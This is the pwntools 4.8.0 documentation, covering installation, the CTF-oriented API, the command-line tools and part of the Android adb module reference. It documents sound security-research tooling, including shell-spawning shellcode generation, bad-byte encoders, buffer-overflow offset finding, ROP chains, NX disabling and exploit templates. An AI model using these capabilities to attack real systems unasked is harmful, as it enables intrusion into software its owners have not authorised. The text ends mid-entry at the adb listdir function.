pwntools Documentation

Release 4.8.0

2016, Gallopsled et al.

Apr 20, 2022

Contents

`pwntools` is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

The primary location for this documentation is at docs.pwntools.com, which uses readthedocs. It comes in three primary flavors:

- Stable
- Beta
- Dev

CHAPTER 1

Getting Started

1.1 About pwntools

Whether you're using it to write exploits, or as part of another software project will dictate how you use it.

Historically pwntools was used as a sort of exploit-writing DSL. Simply doing `from pwn import *` in a previous version of pwntools would bring all sorts of nice side-effects.

When redesigning pwntools for 2.0, we noticed two contrary goals:

- We would like to have a "normal" python module structure, to allow other people to familiarize themselves with pwntools quickly.
- We would like to have even more side-effects, especially by putting the terminal in raw-mode.

To make this possible, we decided to have two different modules. *`pwnlib`* would be our nice, clean Python module, while *`pwn`* would be used during CTFs.

1.1.1 `pwn` — Toolbox optimized for CTFs

As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following:

- Imports everything from the toplevel *`pwnlib`* along with functions from a lot of submodules. This means that if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.
- Calls *`pwnlib.term.init()`* to put your terminal in raw mode and implements functionality to make it appear like it isn't.
- Setting the `pwnlib.context.log_level` to *"info"*.
- Tries to parse some of the values in `sys.argv` and every value it succeeds in parsing it removes.

1.1.2 pwnlib — Normal python library

This module is our "clean" python-code. As a rule, we do not think that importing *pwnlib* or any of the submodules should have any significant side-effects (besides e.g. caching).

For the most part, you will also only get the bits you import. You for instance would not get access to *pwnlib.util.packing* simply by doing `import pwnlib.util`.

Though there are a few exceptions (such as *pwnlib.shellcraft*), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects.

1.2 Installation

Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

1.2.1 Prerequisites

In order to get the most out of `pwntools`, you should have the following system libraries installed.

Binutils

Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of `binutils` to be installed. We've made this process as smooth as we can.

In these examples, replace `$ARCH` with your target architecture (e.g., arm, mips64, vax, etc.).

Building *binutils* from source takes about 60 seconds on a modern 8-core machine.

Ubuntu

For Ubuntu 12.04 through 15.10, you must first add the pwntools Personal Package Archive repository.

Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.

```
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
```

Then, install the binutils for your architecture.

```
$ apt-get install binutils-$ARCH-linux-gnu
```

Mac OS X

Mac OS X is just as easy, but requires building binutils from source. However, we've made `homebrew` recipes to make this a single command. After installing brew, grab the appropriate recipe from our binutils repo.

```
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/
↪macos/binutils-$ARCH.rb
```

Alternate OSes

If you want to build everything by hand, or don't use any of the above OSes, `binutils` is simple to build by hand.

```
#!/usr/bin/env bash

V=2.25   # Binutils Version
ARCH=arm # Target architecture

cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig

gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93
gpg --verify binutils-$V.tar.gz.sig

tar xf binutils-$V.tar.gz

mkdir binutils-build
cd binutils-build

export AR=ar
export AS=as

../binutils-$V/configure \
    --prefix=/usr/local \
    --target=$ARCH-unknown-linux-gnu \
    --disable-static \
    --disable-multilib \
    --disable-werror \
    --disable-nls

MAKE=gmake
hash gmake || MAKE=make

$MAKE -j clean all
sudo $MAKE install
```

Python Development Headers

Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto).

In order to build these native extensions, the development headers for Python must be installed.

Ubuntu

```
$ apt-get install python-dev
```

Mac OS X

No action needed.

1.2.2 Released Version

pwntools is available as a `pip` package for both Python2 and Python3.

Python3

```
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-
↪essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
```

Python2 (Deprecated)

NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.

Additionally, due to *pip* dropping support for Python2, a specfic version of *pip* must be installed.

```
$ apt-get update
$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-
↪essential
$ python2 -m pip install --upgrade pip==20.3.4
$ python2 -m pip install --upgrade pwntools
```

1.2.3 Command-Line Tools

When installed with `sudo` the above commands will install Pwntools' command-line tools to somewhere like `/usr/bin`.

However, if you run as an unprivileged user, you may see a warning message that looks like this:

Follow the instructions listed and add `~/.local/bin` to your `$PATH` environment variable.

1.2.4 Development

If you are hacking on Pwntools locally, you'll want to do something like this:

```
$ git clone https://github.com/Gallopsled/pwntools
$ pip install --upgrade --editable ./pwntools
```

1.3 Getting Started

To get your feet wet with pwntools, let's first go through a few examples.

When writing exploits, pwntools generally follows the "kitchen sink" approach.

```
>>> from pwn import *
```

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

A full list of everything that is imported is available on *from pwn import **.

1.3.1 Tutorials

A series of tutorials for Pwntools exists online, at https://github.com/Gallopsled/pwntools-tutorial#readme

1.3.2 Making Connections

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its `pwnlib.tubes` module.

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via `pwnlib.tubes.remote`.

```
>>> conn = remote('ftp.ubuntu.com',21)
>>> conn.recvline() # doctest: +ELLIPSIS
b'220 ...'
>>> conn.send(b'USER anonymous\r\n')
>>> conn.recvuntil(b' ', drop=True)
b'331'
>>> conn.recvline()
b'Please specify the password.\r\n'
>>> conn.close()
```

It's also easy to spin up a listener

```
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
>>> r.send(b'hello')
>>> c.recv()
b'hello'
```

Interacting with processes is easy thanks to `pwnlib.tubes.process`.

```
>>> sh = process('/bin/sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> sh.close()
```

Not only can you interact with processes programmatically, but you can actually **interact** with processes.

```
>>> sh.interactive() # doctest: +SKIP
$ whoami
user
```

There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with `pwnlib.tubes.ssh`. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a `process` tube.

```
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0',␣
↪port=2220)
>>> shell['whoami']
b'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline(b'sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
b''
>>> sh.recvline(timeout=5)
b'hello world\n'
>>> shell.close()
```

1.3.3 Packing Integers

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in `struct` module.

pwntools makes this easier with *pwnlib.util.packing*. No more remembering unpacking codes, and littering your code with helper routines.

```
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = unhex('37130000')
>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
True
```

The packing/unpacking operations are defined for many common bit-widths.

```
>>> u8(b'A') == 0x41
True
```

1.3.4 Setting the Target Architecture and OS

The target architecture can generally be specified as an argument to the routine that requires it.

```
>>> asm('nop')
b'\x90'
>>> asm('nop', arch='arm')
b'\x00\xf0 \xe3'
```

However, it can also be set once in the global `context`. The operating system, word size, and endianness can also be set here.

```
>>> context.arch      = 'i386'
>>> context.os        = 'linux'
>>> context.endian    = 'little'
>>> context.word_size = 32
```

Additionally, you can use a shorthand to set all of the values at once.

```
>>> asm('nop')
b'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
b'\xe3 \xf0\x00'
```

1.3.5 Setting Logging Verbosity

You can control the verbosity of the standard pwntools logging via `context`.

For example, setting

```
>>> context.log_level = 'debug'
```

Will cause all of the data sent and received by a `tube` to be printed to the screen.

1.3.6 Assembly and Disassembly

Never again will you need to run some already-assembled pile of shellcode from the internet! The *pwnlib.asm* module is full of awesome.

```
>>> enhex(asm('mov eax, 0'))
'b800000000'
```

But if you do, it's easy to suss out!

```
>>> print(disasm(unhex('6a0258cd80ebf9')))
   0:   6a 02                   push   0x2
   2:   58                      pop    eax
   3:   cd 80                   int    0x80
   5:   eb f9                   jmp    0x0
```

However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the *pwnlib.shellcraft* module, which is loaded with useful time-saving shellcodes.

Let's say that we want to *setreuid(getuid(), getuid())* followed by *dup'ing file descriptor 4 to 'stdin*, *stdout*, and *stderr*, and then pop a shell!

```
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
'6a3158cd80...'
```

1.3.7 Misc Tools

Never write another hexdump, thanks to *pwnlib.util.fiddling*.

Find offsets in your buffer that cause a crash, thanks to `pwnlib.cyclic`.

```
>>> cyclic(20)
b'aaaabaaacaaadaaaeaaa'
>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
>>> cyclic_find(b'faab')
120
```

1.3.8 ELF Manipulation

Stop hard-coding things! Look them up at runtime with `pwnlib.elf`.

```
>>> e = ELF('/bin/cat')
>>> print(hex(e.address)) #doctest: +SKIP
0x400000
>>> print(hex(e.symbols['write'])) #doctest: +SKIP
0x401680
>>> print(hex(e.got['write'])) #doctest: +SKIP
0x60b070
>>> print(hex(e.plt['write'])) #doctest: +SKIP
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address, 4)
b'\x7fELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(open('/tmp/quiet-cat','rb').read(1))
'   0:   c3                      ret'
```

1.4 `from pwn import *`

The most common way that you'll see pwntools used is

```
>>> from pwn import *
```

Which imports a bazillion things into the global namespace to make your life easier.

This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.

- ***pwnlib.context***
  - *pwnlib.context.context*
  - Responsible for most of the pwntools convenience settings
  - Set *context.log_level = 'debug'* when troubleshooting your exploit
  - Scope-aware, so you can disable logging for a subsection of code via *ContextType.local()*
- **remote, listen, ssh, process**
  - *pwnlib.tubes*
  - Super convenient wrappers around all of the common functionality for CTF challenges
  - Connect to anything, anywhere, and it works the way you want it to
  - Helpers for common tasks like `recvline`, `recvuntil`, `clean`, etc.
  - Interact directly with the application via `.interactive()`
- **p32 and u32**
  - *pwnlib.util.packing*

  - Useful functions to make sure you never have to remember if `'>'` means signed or unsigned for `struct.pack`, and no more ugly `[0]` index at the end.
  - Set `signed` and `endian` in sane manners (also these can be set once on `context` and not bothered with again)
  - Most common sizes are pre-defined (`u8`, `u64`, etc), and *`pwnlib.util.packing.pack()`* lets you define your own.
- **`log`**
  - *`pwnlib.log`*
  - Make your output pretty!
- **`cyclic` and `cyclic_func`**
  - *`pwnlib.util.cyclic`*
  - Utilities for generating strings such that you can find the offset of any given substring given only N (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at 0x41414141, you could know that 0x61616171 means you control EIP at offset 64 in your buffer.
- **`asm` and `disasm`**
  - *`pwnlib.asm`*
  - Quickly turn assembly into some bytes, or vice-versa, without mucking about
  - Supports any architecture for which you have a binutils installed
  - Over 20 different architectures have pre-built binaries at ppa:pwntools/binutils.
- **`shellcraft`**
  - *`pwnlib.shellcraft`*
  - Library of shellcode ready to go
  - `asm(shellcraft.sh())` gives you a shell
  - Templating library for reusability of shellcode fragments
- **`ELF`**
  - `pwnlib.elf`
  - ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk
- **`DynELF`**
  - *`pwnlib.dynelf`*
  - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address
- **`ROP`**
  - `pwnlib.rop`
  - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses
- **`gdb.debug` and `gdb.attach`**
  - *`pwnlib.gdb`*

  - Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting breakpoints and makes iteration on exploits MUCH faster.
  - Alternately, attach to a running process given a PID, `pwnlib.tubes` object, or even just a socket that's connected to it
- **`args`**
  - Dictionary containing all-caps command-line arguments for quick access
  - Run via `python foo.py REMOTE=1` and `args['REMOTE'] == '1'`.
  - **Can also control logging verbosity and terminal fanciness**
    - *NOTERM*
    - *SILENT*
    - *DEBUG*
- **`randoms`, `rol`, `ror`, `xor`, `bits`**
  - `pwnlib.util.fiddling`
  - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with *0xffffffff* or calling *ord* and *chr* an ugly number of times
- **`net`**
  - `pwnlib.util.net`
  - Routines for querying about network interfaces
- **`proc`**
  - `pwnlib.util.proc`
  - Routines for querying about processes
- **`pause`**
  - It's the new `getch`
- **`safeeval`**
  - `pwnlib.util.safeeval`
  - Functions for safely evaluating python code without nasty side-effects.

These are all pretty self explanatory, but are useful to have in the global namespace.

- `hexdump`
- `read` and `write`
- `enhex` and `unhex`
- `more`
- `group`
- `align` and `align_down`
- `urlencode` and `urldecode`
- `which`
- `wget`

Additionally, all of the following modules are auto-imported for you. You were going to do it anyway.

- `os`
- `sys`
- `time`
- `requests`
- `re`
- `random`

1.5 Command Line Tools

pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

If these tools do not appear to be installed, make sure that you have added `~/.local/bin` to your `$PATH` environment variable.

1.5.1 pwn

Pwntools Command-line Interface

```
usage: pwn [-h]
           {asm,checksec,constgrep,cyclic,debug,disasm,disablenx,elfdiff,elfpatch,
↪errno,hex,phd,pwnstrip,scramble,shellcraft,template,unhex,update,version}
           ...
```

-h, --help
show this help message and exit

pwn asm

Assemble shellcode into bytes

```
usage: pwn asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context]
               [-v AVOID] [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r]
               [line [line ...]]
```

line
Lines to assemble. If none are supplied, use stdin

-h, --help
show this help message and exit

-f `{raw,hex,string,elf}`, **--format** `{raw,hex,string,elf}`
Output format (defaults to hex for ttys, otherwise raw)

-o `<file>`, **--output** `<file>`
Output file (defaults to stdout)

-c `{16,32,64,android,baremetal,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,`
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’, ‘64’, ‘android’, ‘baremetal’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’, ‘msp430’, ‘riscv’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘none’, ‘s390’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’, ‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]

-v <avoid>, **--avoid** <avoid>
Encode the shellcode to avoid the listed bytes (provided as hex)

-n, --newline
Encode the shellcode to avoid newlines

-z, --zero
Encode the shellcode to avoid NULL bytes

-d, --debug
Debug the shellcode with GDB

-e <encoder>, **--encoder** <encoder>
Specific encoder to use

-i <infile>, **--infile** <infile>
Specify input file

-r, --run
Run output

pwn checksec

Check binary security settings

```
usage: pwn checksec [-h] [--file [elf [elf ...]]] [elf [elf ...]]
```

elf
Files to check

-h, --help
show this help message and exit

--file <elf>
File to check (for compatibility with checksec.sh)

pwn constgrep

Looking up constants from header files.

Example: constgrep -c freebsd -m ^PROT_ '3 + 4'

```
usage: pwn constgrep [-h] [-e] [-i] [-m] [-c arch_or_os] regex [constant]
```

regex
The regex matching constant you want to find

constant
The constant to find

-h, --help
show this help message and exit

-e, --exact
Do an exact match for a constant instead of searching for a regex

-i, --case-insensitive
Search case insensitive

-m, --mask-mode
Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.

-c {16,32,64,android,baremetal,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'riscv', 'thumb', 'amd64', 'sparc', 'alpha', 'none', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

pwn cyclic

Cyclic pattern creator/finder

```
usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
                  [-l lookup_value]
                  [count]
```

count
Number of characters to print

-h, --help
show this help message and exit

-a <alphabet>, **--alphabet** <alphabet>
The alphabet to use in the cyclic pattern (defaults to all lower case letters)

-n <length>, **--length** <length>
Size of the unique subsequences (defaults to 4).

-c {16,32,64,android,baremetal,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'riscv', 'thumb', 'amd64', 'sparc', 'alpha', 'none', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-l <lookup_value>, **-o** <lookup_value>, **--offset** <lookup_value>, **--lookup** <lookup_value>
Do a lookup instead printing the alphabet

pwn debug

Debug a binary in GDB

```
usage: pwn debug [-h] [-x GDBSCRIPT] [--pid PID] [-c context]
                 [--exec EXECUTABLE] [--process PROCESS_NAME]
                 [--sysroot SYSROOT]
```

-h, --help
show this help message and exit

-x <gdbscript>
Execute GDB commands from this file.

--pid <pid>
PID to attach to

-c {16,32,64,android,baremetal,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32',

'64', 'android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'riscv', 'thumb', 'amd64', 'sparc', 'alpha', 'none', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

--exec <executable>
: File to debug

--process <process_name>
: Name of the process to attach to (e.g. "bash")

--sysroot <sysroot>
: GDB sysroot path

pwn disablenx

Disable NX for an ELF binary

```
usage: pwn disablenx [-h] elf [elf ...]
```

elf
: Files to check

-h, --help
: show this help message and exit

pwn disasm

Disassemble bytes into text format

```
usage: pwn disasm [-h] [-c arch_or_os] [-a address] [--color] [--no-color]
                  [hex [hex ...]]
```

hex
: Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.

-h, --help
: show this help message and exit

-c {16,32,64,android,baremetal,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,
: The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'riscv', 'thumb', 'amd64', 'sparc', 'alpha', 'none', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-a <address>, **--address** <address>
: Base address

--color
: Color output

--no-color
: Disable color output

pwn elfdiff

Compare two ELF files

```
usage: pwn elfdiff [-h] a b
```

a

b

-h, --help
show this help message and exit

pwn elfpatch

Patch an ELF file

```
usage: pwn elfpatch [-h] elf offset bytes
```

elf
File to patch

offset
Offset to patch in virtual address (hex encoded)

bytes
Bytes to patch (hex encoded)

-h, --help
show this help message and exit

pwn errno

Prints out error messages

```
usage: pwn errno [-h] error
```

error
Error message or value

-h, --help
show this help message and exit

pwn hex

Hex-encodes data provided on the command line or stdin

```
usage: pwn hex [-h] [data [data ...]]
```

data
Data to convert into hex

-h, --help
show this help message and exit

pwn phd

Pretty hex dump

```
usage: pwn phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP]
               [-c COUNT] [-o OFFSET] [--color [{always,never,auto}]]
               [file]
```

file
File to hexdump. Reads from stdin if missing.

-h, --help
show this help message and exit

-w <width>, **--width** <width>
Number of bytes per line.

-l <highlight>, **--highlight** <highlight>
Byte to highlight.

-s <skip>, **--skip** <skip>
Skip this many initial bytes.

-c <count>, **--count** <count>
Only show this many bytes.

-o <offset>, **--offset** <offset>
Addresses in left hand column starts at this address.

--color {always,never,auto}
Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.

pwn pwnstrip

Strip binaries for CTF usage

```
usage: pwn pwnstrip [-h] [-b] [-p FUNCTION] [-o OUTPUT] file
```

file

-h, --help
show this help message and exit

-b, --build-id
Strip build ID

-p <function>, **--patch** <function>
Patch function

-o <output>, **--output** <output>

pwn scramble

Shellcode encoder

```
usage: pwn scramble [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-p]
                    [-v AVOID] [-n] [-z] [-d]
```

-h, --help
show this help message and exit

-f {raw,hex,string,elf}, **--format** {raw,hex,string,elf}
Output format (defaults to hex for ttys, otherwise raw)

-o <file>, **--output** <file>
Output file (defaults to stdout)

-c {16,32,64,android,baremetal,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'baremetal', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'riscv', 'thumb', 'amd64', 'sparc', 'alpha', 'none', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-p, --alphanumeric
Encode the shellcode with an alphanumeric encoder

-v <avoid>, **--avoid** <avoid>
Encode the shellcode to avoid the listed bytes

-n, --newline
Encode the shellcode to avoid newlines

-z, --zero
Encode the shellcode to avoid NULL bytes

-d, --debug
Debug the shellcode with GDB

pwn shellcraft

Microwave shellcode – Easy, fast and delicious

```
usage: pwn shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a]
                      [-v AVOID] [-n] [-z] [-r] [--color] [--no-color]
                      [--syscalls] [--address ADDRESS] [-l] [-s]
                      [shellcode] [arg [arg ...]]
```

shellcode
The shellcode you want

arg
Argument to the chosen shellcode

-h, --help
show this help message and exit

-?, --show
Show shellcode documentation

-o <file>, **--out** <file>
Output file (default: stdout)

-f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,d,escaped,default}, **--format**
Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string

-d, --debug
Debug the shellcode with GDB

-b, --before
Insert a debug trap before the code

-a, --after
Insert a debug trap after the code

-v <avoid>**, --avoid** <avoid>
Encode the shellcode to avoid the listed bytes

-n, --newline
Encode the shellcode to avoid newlines

-z, --zero
Encode the shellcode to avoid NULL bytes

-r, --run
Run output

--color
Color output

--no-color
Disable color output

--syscalls
List syscalls

--address <address>
Load address

-l, --list
List available shellcodes, optionally provide a filter

-s, --shared
Generated ELF is a shared library

pwn template

Generate an exploit template

```
usage: pwn template [-h] [--host HOST] [--port PORT] [--user USER]
                    [--pass PASSWORD] [--path PATH] [--quiet]
                    [--color {never,always,auto}]
                    [exe]
```

exe
Target binary

-h, --help
show this help message and exit

--host <host>
Remote host / SSH server

--port <port>
Remote port / SSH port

--user <user>
SSH Username

--pass <password>**, --password** <password>
SSH Password

--path <path>
Remote path of file on SSH server

--quiet
Less verbose template comments

--color {never,always,auto}
Print the output in color

pwn unhex

Decodes hex-encoded data provided on the command line or via stdin.

```
usage: pwn unhex [-h] [hex [hex ...]]
```

hex
Hex bytes to decode

-h, --help
show this help message and exit

pwn update

Check for pwntools updates

```
usage: pwn update [-h] [--install] [--pre]
```

-h, --help
show this help message and exit

--install
Install the update automatically.

--pre
Check for pre-releases.

pwn version

Pwntools version

```
usage: pwn version [-h]
```

-h, --help
show this help message and exit

CHAPTER 2

Module Index

Each of the `pwntools` modules is documented here.

2.1 `pwnlib.adb` — Android Debug Bridge

Provides utilities for interacting with Android devices via the Android Debug Bridge.

2.1.1 Using Android Devices with Pwntools

Pwntools tries to be as easy as possible to use with Android devices.

If you have only one device attached, everything "just works".

If you have multiple devices, you have a handful of options to select one, or iterate over the devices.

First and most important is the `context.device` property, which declares the "currently" selected device in any scope. It can be set manually to a serial number, or to a `Device` instance.

```
# Take the first available device
context.device = adb.wait_for_device()

# Set a device by serial number
context.device = 'ZX1G22LH8S'

# Set a device by its product name
for device in adb.devices():
    if device.product == 'shamu':
        break
else:
    error("Could not find any shamus!")
```

Once a device is selected, you can operate on it with any of the functions in the `pwnlib.adb` module.

```
# Get a process listing
print(adb.process(['ps']).recvall())

# Fetch properties
print(adb.properties.ro.build.fingerprint)

# Read and write files
print(adb.read('/proc/version'))
adb.write('/data/local/tmp/foo', 'my data')
```

class pwnlib.adb.adb.**AdbDevice**(*serial, type, port=None, product='unknown', model='unknown', device='unknown', features=None, **kw*)

Encapsulates information about a connected device.

Example:

```
>>> device = adb.wait_for_device()
>>> device.arch
'arm'
>>> device.bits
32
>>> device.os
'android'
>>> device.product
'sdk_...phone_armv7'
>>> device.serial
'emulator-5554'
```

_AdbDevice__wrapped(*function*)

Wrapps a callable in a scope which selects the current device.

__getattr__(*name*)

Provides scoped access to `adb` module propertise, in the context of this device.

```
>>> property = 'ro.build.fingerprint'
>>> device = adb.wait_for_device()
>>> adb.getprop(property) == device.getprop(property)
True
```

__init__(*serial, type, port=None, product='unknown', model='unknown', device='unknown', features=None, **kw*)

x.__init__(...) initializes x; see help(type(x)) for signature

__repr__() <==> *repr(x)*

__str__() <==> *str(x)*

class pwnlib.adb.adb.**Partitions**

Enable access to partitions

Example:

```
>>> hex(adb.partitions.vda.size)
'0x...000'
```

__weakref__

list of weak references to the object (if defined)

pwnlib.adb.adb.**_build_date**()

Returns the build date in the form YYYY-MM-DD as a string

`pwnlib.adb.adb.`**`adb`**`(`*argv*, **a*, ***kw*`)`
Returns the output of an ADB subcommand.

```
>>> adb.adb('get-serialno')
b'emulator-5554\n'
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
b'Linux\n'
```

`pwnlib.adb.adb.`**`boot_time`**`()` → int

Returns Boot time of the device, in Unix time, rounded to the nearest second.

Example:

```
>>> import time
>>> adb.boot_time() < time.time()
True
```

`pwnlib.adb.adb.`**`build`**`(`**a*, ***kw*`)`
Returns the Build ID of the device.

`pwnlib.adb.adb.`**`compile`**`(`*source*`)`
Compile a source file or project with the Android NDK.

Example:

```
>>> temp = tempfile.mktemp('.c')
>>> write(temp, '''
... #include <stdio.h>
... static char buf[4096];
... int main() {
...   FILE *fp = fopen("/proc/self/maps", "r");
...   int n = fread(buf, 1, sizeof(buf), fp);
...   fwrite(buf, 1, n, stdout);
...   return 0;
... }''')
>>> filename = adb.compile(temp)
>>> sent = adb.push(filename, "/data/local/tmp")
>>> adb.process(sent).recvall()
b'... /system/bin/linker\n...'
```

`pwnlib.adb.adb.`**`current_device`**`(`*any=False*`)`
Returns an `AdbDevice` instance for the currently-selected device (via `context.device`).

```
>>> device = adb.current_device(any=True)
>>> device
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_..
↪.phone_armv7', model='sdk ...phone armv7', device='generic')
>>> device.port
'emulator'
```

`pwnlib.adb.adb.`**`devices`**`(`**a*, ***kw*`)`
Returns a list of `Device` objects corresponding to the connected devices.

`pwnlib.adb.adb.`**`disable_verity`**`(`**a*, ***kw*`)`
Disables dm-verity on the device.

`pwnlib.adb.adb.`**`exists`**`(`**a*, ***kw*`)`
Return `True` if `path` exists on the target device.

Examples:

```
>>> adb.exists('/')
True
>>> adb.exists('/etc/hosts')
True
>>> adb.exists('/does/not/exist')
False
```

pwnlib.adb.adb.**fastboot**(**a*, ***kw*)
Executes a fastboot command.

Returns The command output.

pwnlib.adb.adb.**find_ndk_project_root**(*source*)
Given a directory path, find the topmost project root.

tl;dr "foo/bar/jni/baz.cpp" ==> "foo/bar"

pwnlib.adb.adb.**fingerprint**(**a*, ***kw*)
Returns the device build fingerprint.

pwnlib.adb.adb.**forward**(**a*, ***kw*)
Sets up a port to forward to the device.

pwnlib.adb.adb.**getprop**(**a*, ***kw*)
Reads a properties from the system property store.

Parameters **name** (*str*) – Optional, read a single property.

Returns If `name` is not specified, a `dict` of all properties is returned. Otherwise, a string is returned with the contents of the named property.

Example:

```
>>> adb.getprop()
{...}
```

pwnlib.adb.adb.**install**(*apk*, **arguments*)
Install an APK onto the device.

This is a wrapper around 'pm install', which backs 'adb install'.

Parameters

- **apk** (*str*) – Path to the APK to intall (e.g. `'foo.apk'`)
- **arguments** – Supplementary arguments to 'pm install', e.g. `'-l', '-g'`.

pwnlib.adb.adb.**interactive**(**a*, ***kw*)
Spawns an interactive shell.

pwnlib.adb.adb.**isdir**(**a*, ***kw*)
Return `True` if `path` is a on the target device.

Examples:

```
>>> adb.isdir('/')
True
>>> adb.isdir('/init')
False
>>> adb.isdir('/does/not/exist')
False
```

pwnlib.adb.adb.**listdir**(**a*, ***kw*)

